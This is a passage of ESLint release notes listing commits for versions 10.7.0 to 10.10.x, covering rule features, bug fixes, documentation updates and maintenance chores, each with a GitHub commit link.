[`5997825`](https://redirect.github.com/eslint/eslint/commit/5997825635dc9c4e81434894607ef2e3887e0ea3) docs: clarify preserve-caught-error known limitation ([#​21294](https://redirect.github.com/eslint/eslint/issues/21294)) (Akinyemi Toluwalase) #### Chores - [`520dd77`](https://redirect.github.com/eslint/eslint/commit/520dd77a35922fb537e2dbfb3c839d047acbdd68) perf: Implement fast paths in critical areas ([#​21210](https://redirect.github.com/eslint/eslint/issues/21210)) (Nicholas C. Zakas) - [`92086c8`](https://redirect.github.com/eslint/eslint/commit/92086c87e042413a3d0363d8fc3fbb11db98d06a) test: update `EMFILE` error generation for Node.js 26.9.0 compatibility ([#​21330](https://redirect.github.com/eslint/eslint/issues/21330)) (Francesco Trotta) - [`9ac7eb6`](https://redirect.github.com/eslint/eslint/commit/9ac7eb60525ec768c2fdc6699e5a292aa913ce9e) chore: update github/codeql-action action to v4.38.0 ([#​21331](https://redirect.github.com/eslint/eslint/issues/21331)) (renovate\[bot]) - [`24310e3`](https://redirect.github.com/eslint/eslint/commit/24310e3a0e22b3c086ca402f88448676f2e1cfcd) chore: update ecosystem plugins ([#​21324](https://redirect.github.com/eslint/eslint/issues/21324)) (ESLint Bot) - [`45ad79e`](https://redirect.github.com/eslint/eslint/commit/45ad79e54a39b54b4ce8eb47e612bd2f72a7a651) ci: bump pnpm/action-setup from 6.0.10 to 6.1.0 ([#​21318](https://redirect.github.com/eslint/eslint/issues/21318)) (dependabot\[bot]) - [`ac74e37`](https://redirect.github.com/eslint/eslint/commit/ac74e37322ebf122ada676f153dc55c81f3caab0) chore: Add AGENTS.md with AI disclosure requirements ([#​21221](https://redirect.github.com/eslint/eslint/issues/21221)) (Nicholas C. Zakas) - [`c832660`](https://redirect.github.com/eslint/eslint/commit/c8326608e710e670beaf982501aed80ea104919a) chore: Upgrade Stylelint to the latest version in docs ([#​21245](https://redirect.github.com/eslint/eslint/issues/21245)) (Jung Hyeon Jun) - [`f9f88fc`](https://redirect.github.com/eslint/eslint/commit/f9f88fcccd965fdc162b89c4615dd4018e3cabdf) chore: update ecosystem plugins ([#​21308](https://redirect.github.com/eslint/eslint/issues/21308)) (ESLint Bot) - [`fc81076`](https://redirect.github.com/eslint/eslint/commit/fc81076a5b8145360654d81cbc130cf7d25dca77) ci: add more types integration tests ([#​20395](https://redirect.github.com/eslint/eslint/issues/20395)) (Nitin Kumar) ### [`v10.10.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.10.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.9.1...v10.10.0) #### Features - [`264b434`](https://redirect.github.com/eslint/eslint/commit/264b4346d1963701df0c398b4aeb2f6e8b2af93e) feat: add `d` and `v` flags to `no-unexpected-multiline` ([#​21305](https://redirect.github.com/eslint/eslint/issues/21305)) (Gihyeon Jeong / 정기현) - [`c6cc6c5`](https://redirect.github.com/eslint/eslint/commit/c6cc6c592f30901345d94ef75e0d42c1894fae6c) feat: check `Object.prototype` property names in `new-cap` ([#​21269](https://redirect.github.com/eslint/eslint/issues/21269)) (crimsonjay0) - [`5661fa6`](https://redirect.github.com/eslint/eslint/commit/5661fa65fde9fd4c14f0b730e3cee6a42fc657c1) feat: no-extra-bind false negatives with class fields and static blocks ([#​21260](https://redirect.github.com/eslint/eslint/issues/21260)) (synthex-byte) #### Bug Fixes - [`bb47dc6`](https://redirect.github.com/eslint/eslint/commit/bb47dc6da2399a8f76c0c0c3273e6bc314c480e5) fix: update dependency file-entry-cache to v11 ([#​20801](https://redirect.github.com/eslint/eslint/issues/20801)) (Milos Djermanovic) - [`427ac0a`](https://redirect.github.com/eslint/eslint/commit/427ac0a014066c36aa57fa8fa9af20fd9fb591e1) fix: use format strings in debug calls ([#​21247](https://redirect.github.com/eslint/eslint/issues/21247)) (Francesco Trotta) - [`9d81532`](https://redirect.github.com/eslint/eslint/commit/9d8153223dbf47b9aecdc1474202aaee4845f146) fix: support `__proto__` in `/* exported */` comments ([#​21261](https://redirect.github.com/eslint/eslint/issues/21261)) (sethamus) - [`87e0a08`](https://redirect.github.com/eslint/eslint/commit/87e0a082438264ad90b87fd74165ab4fd90f63ef) fix: prefer-object-has-own autofix breaks when Object is shadowed ([#​21282](https://redirect.github.com/eslint/eslint/issues/21282)) (김채영) - [`8e2cb14`](https://redirect.github.com/eslint/eslint/commit/8e2cb142217f2efee1d10dcc02bfb75145ae775d) fix: `new-cap` false positive for `UTC` calls with `properties: false` ([#​21275](https://redirect.github.com/eslint/eslint/issues/21275)) (Pixel) - [`9f4a364`](https://redirect.github.com/eslint/eslint/commit/9f4a364ab0ade048dfce1f37792b1d461d866e55) fix: Ignore static imports in no-unreachable ([#​21276](https://redirect.github.com/eslint/eslint/issues/21276)) (Taha Kotil) #### Documentation - [`2417cad`](https://redirect.github.com/eslint/eslint/commit/2417cad57d7d1bc4cf3ecf0f0575cfb10ff2011c) docs: Update README (GitHub Actions Bot) - [`9cecb8a`](https://redirect.github.com/eslint/eslint/commit/9cecb8a0a2348070abf72321965d41919c7cc626) docs: document `\c` control letter escapes in no-control-regex ([#​21286](https://redirect.github.com/eslint/eslint/issues/21286)) (한국) - [`8724829`](https://redirect.github.com/eslint/eslint/commit/8724829f69f8ed80c876e3a5a017da199ce78739) docs: update compat table links ([#​21263](https://redirect.github.com/eslint/eslint/issues/21263)) (fnx) - [`5634542`](https://redirect.github.com/eslint/eslint/commit/5634542be580750ffb1a5766470f9e9c72719696) docs: Clarify eqeqeq suggestion behavior ([#​21256](https://redirect.github.com/eslint/eslint/issues/21256)) (Müslüm Yılmaz) #### Chores - [`b3d876b`](https://redirect.github.com/eslint/eslint/commit/b3d876b46083d67899eb1d9613118c1c583632a2) chore: disable npm audit in ecosystem tests ([#​21306](https://redirect.github.com/eslint/eslint/issues/21306)) (Francesco Trotta) - [`1696682`](https://redirect.github.com/eslint/eslint/commit/1696682791661c13167eb905da2f38d1b8f4a3bf) ci: restore EMFILE test on Node.js 26 ([#​21297](https://redirect.github.com/eslint/eslint/issues/21297)) (Marry (Subin Yang)) - [`2c7f5d6`](https://redirect.github.com/eslint/eslint/commit/2c7f5d6f47a92e8c0847af103e40fdb2f4dc61ef) chore: update github/codeql-action action to v4.37.9 ([#​21296](https://redirect.github.com/eslint/eslint/issues/21296)) (renovate\[bot]) - [`3c753f1`](https://redirect.github.com/eslint/eslint/commit/3c753f18b461bfbf36d41a79a7863c093ef48489) chore: update eslint ([#​21289](https://redirect.github.com/eslint/eslint/issues/21289)) (renovate\[bot]) - [`1c73469`](https://redirect.github.com/eslint/eslint/commit/1c734690bf6f4f9c542bec428d5a1a5c6cc4a19b) chore: update ecosystem plugins ([#​21280](https://redirect.github.com/eslint/eslint/issues/21280)) (ESLint Bot) - [`08a02be`](https://redirect.github.com/eslint/eslint/commit/08a02be429e21fc93d86c8dd16cec6dc945ea2c1) test: add error locations to `no-extra-boolean-cast` ([#​21266](https://redirect.github.com/eslint/eslint/issues/21266)) (lumir) - [`77bb1db`](https://redirect.github.com/eslint/eslint/commit/77bb1db8e730b7da2347c647d60f215706aa349a) chore: update github/codeql-action action to v4.37.8 ([#​21270](https://redirect.github.com/eslint/eslint/issues/21270)) (renovate\[bot]) - [`007e81a`](https://redirect.github.com/eslint/eslint/commit/007e81ac0ad66bd0be4887d88a276df292ae0bed) ci: skip EMFILE test on Node.js 26 ([#​21265](https://redirect.github.com/eslint/eslint/issues/21265)) (lumir) - [`0430280`](https://redirect.github.com/eslint/eslint/commit/0430280e7cca9dc0fdbf0bc50464e98e84285c49) chore: improve ecosystem tests compatibility on Windows ([#​21178](https://redirect.github.com/eslint/eslint/issues/21178)) (crimsonjay0) ### [`v10.9.1`](https://redirect.github.com/eslint/eslint/releases/tag/v10.9.1) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.9.0...v10.9.1) #### Bug Fixes - [`1e641c9`](https://redirect.github.com/eslint/eslint/commit/1e641c919fc1421493bf913feb607896982451a3) fix: no-loss-of-precision false positive with trailing decimal point ([#​21251](https://redirect.github.com/eslint/eslint/issues/21251)) (Aleksandr Shoronov) #### Documentation - [`ad74a8d`](https://redirect.github.com/eslint/eslint/commit/ad74a8dada2aaa17bfd0b8cc7b4119ff7a8ac04b) docs: add deprecation steps for EOL package versions ([#​21248](https://redirect.github.com/eslint/eslint/issues/21248)) (Francesco Trotta) #### Chores - [`3c3ae53`](https://redirect.github.com/eslint/eslint/commit/3c3ae53a43721162f0db76c69665ebd9d752ea52) chore: update ecosystem plugins ([#​21249](https://redirect.github.com/eslint/eslint/issues/21249)) (ESLint Bot) ### [`v10.9.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.9.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.8.1...v10.9.0) #### Features - [`08de88e`](https://redirect.github.com/eslint/eslint/commit/08de88e50294c4e01f6cae97eceeb578da55792b) feat: handle underflow in no-loss-of-precision ([#​21218](https://redirect.github.com/eslint/eslint/issues/21218)) (Rithish S) - [`55db479`](https://redirect.github.com/eslint/eslint/commit/55db4791120ae591d88089c43127b7b0e16866d4) feat: add checkConditionalExpressions to `no-unmodified-loop-condition` ([#​21175](https://redirect.github.com/eslint/eslint/issues/21175)) (sethamus) #### Bug Fixes - [`2ba3025`](https://redirect.github.com/eslint/eslint/commit/2ba302554e7a24e9909bbdd026fd0c2d1d0d8638) fix: prevent unsafe `no-var` autofix with hoisted functions ([#​21213](https://redirect.github.com/eslint/eslint/issues/21213)) (sethamus) - [`8e69622`](https://redirect.github.com/eslint/eslint/commit/8e6962219a605c5f5add10953aa31027da839194) fix: Prevent no-var autofix when var is shadowed by catch parameter ([#​21204](https://redirect.github.com/eslint/eslint/issues/21204)) (Yang Hyeonjong) - [`684b579`](https://redirect.github.com/eslint/eslint/commit/684b57972e1ddf25e076fb36189c60bbcacee635) fix: prefer-template invalid autofix creates a tagged template call ([#​21207](https://redirect.github.com/eslint/eslint/issues/21207)) (김채영) #### Documentation - [`9ef407a`](https://redirect.github.com/eslint/eslint/commit/9ef407a3b051e74f50dc7fb8914e2bd89b3e5e53) docs: use eslint.config.\* wherever config file names are listed ([#​21216](https://redirect.github.com/eslint/eslint/issues/21216)) (Marry (Subin Yang)) - [`87f66f4`](https://redirect.github.com/eslint/eslint/commit/87f66f4435c4df7f4f6815c939d153196ec03e3c) docs: Update README (GitHub Actions Bot) - [`585ef37`](https://redirect.github.com/eslint/eslint/commit/585ef37516c0dc29ddb91ce2a2cdcc46fdbbd610) docs: update architecture documentation ([#​21112](https://redirect.github.com/eslint/eslint/issues/21112)) (Francesco Trotta) - [`f3993b0`](https://redirect.github.com/eslint/eslint/commit/f3993b0547bace7370e9728ee7408af49d367d76) docs: Update README (GitHub Actions Bot) - [`ffc87d6`](https://redirect.github.com/eslint/eslint/commit/ffc87d6234b2aa4335eec069e5c4d6ac04832b9e) docs: fix broken links in Further Reading sections ([#​21203](https://redirect.github.com/eslint/eslint/issues/21203)) (Minsu) - [`1a761e1`](https://redirect.github.com/eslint/eslint/commit/1a761e1d11b011fcb6bee181231a51010c500e4d) docs: update moved JSX specification links ([#​21198](https://redirect.github.com/eslint/eslint/issues/21198)) (Imran Mustafa) - [`4d00ca4`](https://redirect.github.com/eslint/eslint/commit/4d00ca4064ae0d1a75b604a16c68ab9f386ad388) docs: update ESLint peer dependency to `^10.0.0` in shareable configs ([#​21202](https://redirect.github.com/eslint/eslint/issues/21202)) (lumir) - [`510d1a2`](https://redirect.github.com/eslint/eslint/commit/510d1a2e87bc197219f42e195ddb638d2b183a5a) docs: Update README (GitHub Actions Bot) #### Chores - [`899dbf1`](https://redirect.github.com/eslint/eslint/commit/899dbf131ce12a194b394bb8d67307df23509d17) chore: update github/codeql-action action to v4.37.7 ([#​21243](https://redirect.github.com/eslint/eslint/issues/21243)) (renovate\[bot]) - [`9aa3873`](https://redirect.github.com/eslint/eslint/commit/9aa38732177935bd1d7f1493732c0b67666be28a) chore: update ecosystem plugins ([#​21235](https://redirect.github.com/eslint/eslint/issues/21235)) (ESLint Bot) - [`dc1e7a8`](https://redirect.github.com/eslint/eslint/commit/dc1e7a8416937edefe04cf836ee202a6fc03bedd) chore: update ecosystem plugins ([#​21208](https://redirect.github.com/eslint/eslint/issues/21208)) (ESLint Bot) - [`f878d21`](https://redirect.github.com/eslint/eslint/commit/f878d212e9622da9513bcd60d2aedb2e8bb4fc8b) ci: bump pnpm/action-setup from 6.0.9 to 6.0.10 ([#​21200](https://redirect.github.com/eslint/eslint/issues/21200)) (dependabot\[bot]) - [`4891e50`](https://redirect.github.com/eslint/eslint/commit/4891e50aceadb0e886ad7d8ab5ae2beab563de85) ci: bump github/codeql-action from 4.37.4 to 4.37.6 ([#​21199](https://redirect.github.com/eslint/eslint/issues/21199)) (dependabot\[bot]) ### [`v10.8.1`](https://redirect.github.com/eslint/eslint/releases/tag/v10.8.1) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.8.0...v10.8.1) #### Bug Fixes - [`18eb0a7`](https://redirect.github.com/eslint/eslint/commit/18eb0a7e787b9fac3049ef3dad0e845d2bd940a4) fix: prevent ASI hazard in `no-unused-labels` autofix ([#​21173](https://redirect.github.com/eslint/eslint/issues/21173)) (dongkyu lee) - [`151ba3f`](https://redirect.github.com/eslint/eslint/commit/151ba3f5834a0909e8b9b1736f4889ac694c0104) fix: false positives in `getter-return` and `accessor-pairs` ([#​21163](https://redirect.github.com/eslint/eslint/issues/21163)) (Grit) - [`6898df9`](https://redirect.github.com/eslint/eslint/commit/6898df9364639ee64b9448a4cb6b08a30c16bd37) fix: ignore meta-property names in `id-denylist` ([#​21166](https://redirect.github.com/eslint/eslint/issues/21166)) (Pixel) - [`4d7db66`](https://redirect.github.com/eslint/eslint/commit/4d7db6628e2badf0857cb88734fe641c3874bce9) fix: ignore meta-property names in `id-match` ([#​21167](https://redirect.github.com/eslint/eslint/issues/21167)) (Pixel) - [`677214e`](https://redirect.github.com/eslint/eslint/commit/677214e7eea83d8bc6e4b79eea871577e1369d5f) fix: handle ASI hazards in no-unused-vars removeVar suggestion ([#​20935](https://redirect.github.com/eslint/eslint/issues/20935)) (kuldeep kumar) #### Documentation - [`7d0cbf8`](https://redirect.github.com/eslint/eslint/commit/7d0cbf81cfdb7526b5c4cb7b222ddc7f257db560) docs: Update README (GitHub Actions Bot) - [`0a05812`](https://redirect.github.com/eslint/eslint/commit/0a05812adb12598b32e85297b98df5ad14501d60) docs: add missing backticks to `no-duplicate-imports.js` ([#​21183](https://redirect.github.com/eslint/eslint/issues/21183)) (Lee Daeun) - [`678c90b`](https://redirect.github.com/eslint/eslint/commit/678c90b55da2889d4400cbf6e2584ab683faf202) docs: Update README (GitHub Actions Bot) - [`8a10424`](https://redirect.github.com/eslint/eslint/commit/8a104242e8e1c5614940fab7324346974cff7d26) docs: Update README (GitHub Actions Bot) - [`69bb948`](https://redirect.github.com/eslint/eslint/commit/69bb948061105426dbe6e3c931fcda783286e020) docs: Update README (GitHub Actions Bot) #### Chores - [`0a14800`](https://redirect.github.com/eslint/eslint/commit/0a148005051fded2ef1d14cc228ae505251b4b10) chore: update github/codeql-action action to v4.37.4 ([#​21196](https://redirect.github.com/eslint/eslint/issues/21196)) (renovate\[bot]) - [`05adcb1`](https://redirect.github.com/eslint/eslint/commit/05adcb13542061dc7fadde5cd58d23d405a96d93) test: fix failing ecosystem test for `eslint-plugin-unicorn` ([#​21191](https://redirect.github.com/eslint/eslint/issues/21191)) (Lazizbek Ergashev) - [`5611035`](https://redirect.github.com/eslint/eslint/commit/56110356652dd614b3cf0933538abb551fc6bd6f) test: add error locations info to `no-void` ([#​21185](https://redirect.github.com/eslint/eslint/issues/21185)) (Lee Daeun) - [`ee47333`](https://redirect.github.com/eslint/eslint/commit/ee47333aa681cfc3cb54df08c38f211ea219cc2a) ci: bump github/codeql-action from 4 to 4.37.3 ([#​21176](https://redirect.github.com/eslint/eslint/issues/21176)) (dependabot\[bot]) - [`f131c03`](https://redirect.github.com/eslint/eslint/commit/f131c034ad91bbf06bcbb6b5e931447a8e419a46) chore: improve ecosystem test failure reporting ([#​20937](https://redirect.github.com/eslint/eslint/issues/20937)) (crimsonjay0) - [`1f6edde`](https://redirect.github.com/eslint/eslint/commit/1f6eddee609b369b50993eab08d437dda4700991) chore: update ecosystem plugins ([#​21182](https://redirect.github.com/eslint/eslint/issues/21182)) (ESLint Bot) - [`d3266fb`](https://redirect.github.com/eslint/eslint/commit/d3266fb26c719c6b90a6cbe54bb120c9335ad19c) chore: unpin `webpack` dependency ([#​21172](https://redirect.github.com/eslint/eslint/issues/21172)) (Francesco Trotta) - [`65a6519`](https://redirect.github.com/eslint/eslint/commit/65a6519cc8733b4688558a8611397cf9d01dd55d) chore: add allowScripts field to package.json ([#​21092](https://redirect.github.com/eslint/eslint/issues/21092)) (GiHoon Noh) - [`22e5256`](https://redirect.github.com/eslint/eslint/commit/22e52568536e0009d4493dc888736bc163220c4b) ci: add `triage:no` label to Dependabot PRs ([#​21141](https://redirect.github.com/eslint/eslint/issues/21141)) (lumir) - [`55c9038`](https://redirect.github.com/eslint/eslint/commit/55c9038836c91b6bd5617f0c97bea2274c9cc0bf) ci: bump actions/labeler from 6 to 7 ([#​21159](https://redirect.github.com/eslint/eslint/issues/21159)) (dependabot\[bot]) - [`7280e78`](https://redirect.github.com/eslint/eslint/commit/7280e78183d4711a49916b6a49ba5efaa651a991) chore: update dependency prettier to v3.9.6 ([#​21162](https://redirect.github.com/eslint/eslint/issues/21162)) (renovate\[bot]) - [`eddbad6`](https://redirect.github.com/eslint/eslint/commit/eddbad60158d8cda86830fbe934a9d2282273b32) test: fix failing ecosystem test for `eslint-plugin-unicorn` ([#​21156](https://redirect.github.com/eslint/eslint/issues/21156)) (Francesco Trotta) - [`60a178d`](https://redirect.github.com/eslint/eslint/commit/60a178d5ef1b0c471be0831031ed7347f8f81dc2) chore: update ecosystem plugins ([#​21150](https://redirect.github.com/eslint/eslint/issues/21150)) (ESLint Bot) - [`f9f61dc`](https://redirect.github.com/eslint/eslint/commit/f9f61dc6112836f46a58a410c38b8c2faf10973f) test: add error locations to `no-unreachable` ([#​21151](https://redirect.github.com/eslint/eslint/issues/21151)) (JIYEON) - [`d086293`](https://redirect.github.com/eslint/eslint/commit/d08629382b0a6aaa042823b796e5100e60053b54) test: add error locations to `no-undef` ([#​21147](https://redirect.github.com/eslint/eslint/issues/21147)) (JIYEON) - [`cc01b67`](https://redirect.github.com/eslint/eslint/commit/cc01b67061bbf558aa25746883ea1cad847f7cf2) test: add error locations to `no-useless-catch` ([#​21144](https://redirect.github.com/eslint/eslint/issues/21144)) (devoil) - [`688e75e`](https://redirect.github.com/eslint/eslint/commit/688e75ede01b295d51f2f86c9d82da020a4c887e) chore: add missing backticks in JSDoc ([#​21143](https://redirect.github.com/eslint/eslint/issues/21143)) (Bo Hyun Kim) - [`7c1e175`](https://redirect.github.com/eslint/eslint/commit/7c1e17543ad396f50f65b003cf9142d43d3c63b0) test: add error locations to `require-await` ([#​21145](https://redirect.github.com/eslint/eslint/issues/21145)) (Grit) - [`588a26d`](https://redirect.github.com/eslint/eslint/commit/588a26ddce3c5a20f5b3f3d51ba1353cce7b4b0c) test: add error locations to `no-extra-label` ([#​21139](https://redirect.github.com/eslint/eslint/issues/21139)) (dongkyu lee) - [`059aa89`](https://redirect.github.com/eslint/eslint/commit/059aa895743639e3ab53d14f9d944ff4be042233) test: add error locations to `no-useless-concat` ([#​21140](https://redirect.github.com/eslint/eslint/issues/21140)) (dongkyu lee) - [`5a452a8`](https://redirect.github.com/eslint/eslint/commit/5a452a8ba53917d65c9d83c3959ed35c2f890613) test: add error locations to `no-const-assign` ([#​21138](https://redirect.github.com/eslint/eslint/issues/21138)) (dongkyu lee) ### [`v10.8.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.8.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.7.0...v10.8.0) #### Features - [`2fee9bb`](https://redirect.github.com/eslint/eslint/commit/2fee9bb7416116cbed4d8c8100b1ae713b6356a1) feat: export `ConfigObject` from `eslint/config` ([#​21082](https://redirect.github.com/eslint/eslint/issues/21082)) (sethamus) #### Bug Fixes - [`6b8d2f7`](https://redirect.github.com/eslint/eslint/commit/6b8d2f7589b8a7c8b91b8ca2a2ef6d46178760d8) fix: escape reserved characters in rule id in `html` formatter ([#​21129](https://redirect.github.com/eslint/eslint/issues/21129)) (Francesco Trotta) - [`9091071`](https://redirect.github.com/eslint/eslint/commit/90910715011211a20d011d807d398a7005127f35) fix: prevent `no-unreachable-loop` crash when all loop types are ignored ([#​21116](https://redirect.github.com/eslint/eslint/issues/21116)) (Pixel) - [`e23fafe`](https://redirect.github.com/eslint/eslint/commit/e23fafe8d4b15355adef6cdebef414c3a2019454) fix: prefer-object-spread add semicolon when adding parenthesis ([#​21081](https://redirect.github.com/eslint/eslint/issues/21081)) (synthex-byte) - [`20b5ad0`](https://redirect.github.com/eslint/eslint/commit/20b5ad052360a443786a202e94624a3f81846511) fix: quadratic-time regex in `prefer-template` ([#​21096](https://redirect.github.com/eslint/eslint/issues/21096)) (Milos Djermanovic) - [`8b6f6c0`](https://redirect.github.com/eslint/eslint/commit/8b6f6c0b33411f34485512456d94f221daf7321f) fix: apply ignore configs to computed methods in class-methods-use-this ([#​21094](https://redirect.github.com/eslint/eslint/issues/21094)) (Pixel) - [`b2c608c`](https://redirect.github.com/eslint/eslint/commit/b2c608c014a396800a24a89343265d0616bee2d8) fix: NewExpression with parenthesized callee in `preserve-caught-error` ([#​21083](https://redirect.github.com/eslint/eslint/issues/21083)) (Francesco Trotta) #### Documentation - [`6ddf858`](https://redirect.github.com/eslint/eslint/commit/6ddf8587e5cfeeb7328332601bb76d98b8a198ea) docs: fix broken Specify Parser Options anchor link ([#​21106](https://redirect.github.com/eslint/eslint/issues/21106)) (Minsu) - [`784dfbe`](https://redirect.github.com/eslint/eslint/commit/784dfbe98f0222426fd200153a5ce2e5624151f0) docs: Clarify `no-eq-null` description ([#​21120](https://redirect.github.com/eslint/eslint/issues/21120)) (Park Harin) - [`7ec733a`](https://redirect.github.com/eslint/eslint/commit/7ec733a3ba5acb053a73ac656030a3879aa48fda) docs: Fix typos and grammar in glossary ([#​21095](https://redirect.github.com/eslint/eslint/issues/21095)) (Marry (Subin Yang)) - [`92bb13f`](https://redirect.github.com/eslint/eslint/commit/92bb13f13065db72d62454b9830d3ae52db15c76) docs: replace quake link ([#​21108](https://redirect.github.com/eslint/eslint/issues/21108)) (Jung Hyeon Jun) - [`68eb4a5`](https://redirect.github.com/eslint/eslint/commit/68eb4a57572409dbdcfeb3bc5c92ddbba46bc770) docs: fix broken Specify Globals anchor links in rule pages ([#​21103](https://redirect.github.com/eslint/eslint/issues/21103)) (Minsu) - [`d28f697`](https://redirect.github.com/eslint/eslint/commit/d28f697e0d32d7446c825fd89c362db028450134) docs: replace Code Climate CLI links with Qlty CLI links ([#​21099](https://redirect.github.com/eslint/eslint/issues/21099)) (Jung Hyeon Jun) - [`eccc68d`](https://redirect.github.com/eslint/eslint/commit/eccc68d42564e46bc9020d19ec52d2988f3b7bfa) docs: correct --suppressions-location option description ([#​21093](https://redirect.github.com/eslint/eslint/issues/21093)) (Ga eun Lee) - [`c5963f7`](https://redirect.github.com/eslint/eslint/commit/c5963f74bfa82a5b7ccc0607dcdcc695b8c97a31) docs: Update README (GitHub Actions Bot) #### Chores - [`4fbf46d`](https://redirect.github.com/eslint/eslint/commit/4fbf46d140120ae838db08cbe49544c985956490) test: pin `webpack` version to 5.108.4 ([#​21137](https://redirect.github.com/eslint/eslint/issues/21137)) (Francesco Trotta) - [`2d063e2`](https://redirect.github.com/eslint/eslint/commit/2d063e224e9bb0ccb0a28c120f7e380a8d62f320) chore: update HTTP URLs to HTTPS in JSDoc and comments ([#​21101](https://redirect.github.com/eslint/eslint/issues/21101)) (Bo Hyun Kim) - [`eccbe7b`](https://redirect.github.com/eslint/eslint/commit/eccbe7bc9257a6c99880468e452c8dfafbf47f74) test: add error locations to `no-class-assign` ([#​21123](https://redirect.github.com/eslint/eslint/issues/21123)) (devoil) - [`e7d1e43`](https://redirect.github.com/eslint/eslint/commit/e7d1e4373bf626f8da76d62ce024c28928bc99bc) ci: bump actions/setup-go from 6 to 7 ([#​21118](https://redirect.github.com/eslint/eslint/issues/21118)) (dependabot\[bot]) - [`e9d66d0`](https://redirect.github.com/eslint/eslint/commit/e9d66d0cde1a7752c29dee53ab7b62632835a87a) ci: bump actions/setup-node from 6 to 7 ([#​21119](https://redirect.github.com/eslint/eslint/issues/21119)) (dependabot\[bot]) - [`ee225b6`](https://redirect.github.com/eslint/eslint/commit/ee225b60c26f0cc5f4d71641888a5bd2ec5626d6) test: Add error location details to `no-eq-null` rule ([#​21117](https://redirect.github.com/eslint/eslint/issues/21117)) (Park Harin) - [`044a627`](https://redirect.github.com/eslint/eslint/commit/044a627fa3e28ee1410d515acc5378eb4b49f8ba) chore: update minimatch to ^10.2.5 ([#​21107](https://redirect.github.com/eslint/eslint/issues/21107)) (김채영) - [`fb09aa8`](https://redirect.github.com/eslint/eslint/commit/fb09aa8ff09730d3ccf68859e065f99666b52466) chore: update ecosystem plugins ([#​21115](https://redirect.github.com/eslint/eslint/issues/21115)) (ESLint Bot) - [`5abd878`](https://redirect.github.com/eslint/eslint/commit/5abd878740fe417fd8a910cac3741f2a0317b365) test: add error locations to `no-proto` ([#​21114](https://redirect.github.com/eslint/eslint/issues/21114)) (Gihyeon Jeong / 정기현) - [`9715887`](https://redirect.github.com/eslint/eslint/commit/9715887ec94a5ff936447d7b680d039fbe2f0541) test: Add error location details to `no-div-regex` ([#​21110](https://redirect.github.com/eslint/eslint/issues/21110)) (Park Harin) - [`a746ec6`](https://redirect.github.com/eslint/eslint/commit/a746ec6ea4a2249b1eb3f512264da5f4d5f7c886) test: add error locations to `no-new-wrappers` ([#​21109](https://redirect.github.com/eslint/eslint/issues/21109)) (Gihyeon Jeong / 정기현) - [`8dde645`](https://redirect.github.com/eslint/eslint/commit/8dde64570e240f3ef8af873d59a752db6d8519aa) test: add error locations to `no-ex-assign` ([#​21102](https://redirect.github.com/eslint/eslint/issues/21102)) (devoil) - [`13ab0ec`](https://redirect.github.com/eslint/eslint/commit/13ab0ec447650c079d8a5e5d67222f79e69c741e) test: add error locations to `no-label-var` ([#​21098](https://redirect.github.com/eslint/eslint/issues/21098)) (Gihyeon Jeong / 정기현) - [`a99906f`](https://redirect.github.com/eslint/eslint/commit/a99906ffb8342dde03336b5c6372b5658f21d5f2) test: Add error location details to `no-delete-var` rule ([#​21105](https://redirect.github.com/eslint/eslint/issues/21105)) (Park Harin) - [`c47e8dc`](https://redirect.github.com/eslint/eslint/commit/c47e8dc9bbfba797430db45ae08cb6f7392cfc9d) chore: add missing backticks to `languages/js/index.js` ([#​21104](https://redirect.github.com/eslint/eslint/issues/21104)) (beeen) - [`0174428`](https://redirect.github.com/eslint/eslint/commit/0174428dd7543d118cf67a823b98dd97032fe68c) chore: add missing backticks to `translate-cli-options.js` ([#​21097](https://redirect.github.com/eslint/eslint/issues/21097)) (dongkyu lee) - [`3d36589`](https://redirect.github.com/eslint/eslint/commit/3d36589a4917326500f0707bb41745160f387d00) chore: add missing backticks to `serialization.js` ([#​21091](https://redirect.github.com/eslint/eslint/issues/21091)) (이규환) - [`dcc9312`](https://redirect.github.com/eslint/eslint/commit/dcc9312c1081931de0fe1b555fbb6aa82fe696b9) test: add error locations to `eqeqeq` ([#​21090](https://redirect.github.com/eslint/eslint/issues/21090)) (Ga eun Lee) - [`2710b18`](https://redirect.github.com/eslint/eslint/commit/2710b182472cd1a95e4aff6186cb2c4fbadb4ee0) ci: Add explicit permissions to rebuild-docs-sites workflow ([#​21089](https://redirect.github.com/eslint/eslint/issues/21089)) (Marry (Subin Yang)) - [`5d2f866`](https://redirect.github.com/eslint/eslint/commit/5d2f8663ee60701e9036b0b0933a12efd9d93269) chore: update dependency prettier to v3.9.5 ([#​21086](https://redirect.github.com/eslint/eslint/issues/21086)) (renovate\[bot]) - [`d584e31`](https://redirect.github.com/eslint/eslint/commit/d584e31098f262563b97dc5d5f23a63a187879a0) chore: fix failing ecosystem test for `eslint-plugin-unicorn` ([#​21084](https://redirect.github.com/eslint/eslint/issues/21084)) (Francesco Trotta) - [`bf3eda0`](https://redirect.github.com/eslint/eslint/commit/bf3eda049bd690f1e9a5a0c4520a6329b3e4ec85) chore: update ecosystem plugins ([#​21079](https://redirect.github.com/eslint/eslint/issues/21079)) (ESLint Bot) ### [`v10.7.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.7.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.6.0...v10.7.0) #### Features - [`cf2a9bf`](https://redirect.github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27) feat: add errorClassNames option to preserve-caught-error rule ([#​21032](https://redirect.github.com/eslint/eslint/issues/21032)) (sethamus) - [`f8b873a`](https://redirect.github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f) feat: max-nested-callbacks option for constructor callbacks ([#​21063](https://redirect.github.com/eslint/eslint/issues/21063)) (fnx) - [`557fde8`](https://redirect.github.com/eslint/eslint/commit/557fde8bc633d26ea4fe287d4483f287e8e6080f) feat: support computed `Number.parseInt` member access in `radix` rule ([#​21041](https://redirect.github.com/eslint/eslint/issues/21041)) (Pixel) - [`0b4a73b`](https://redirect.github.com/eslint/eslint/commit/0b4a73b65808f5a8fd192f15db2bf5e47002b9f7) feat: add suggestions to no-compare-neg-zero ([#​21034](https://redirect.github.com/eslint/eslint/issues/21034)) (den$) - 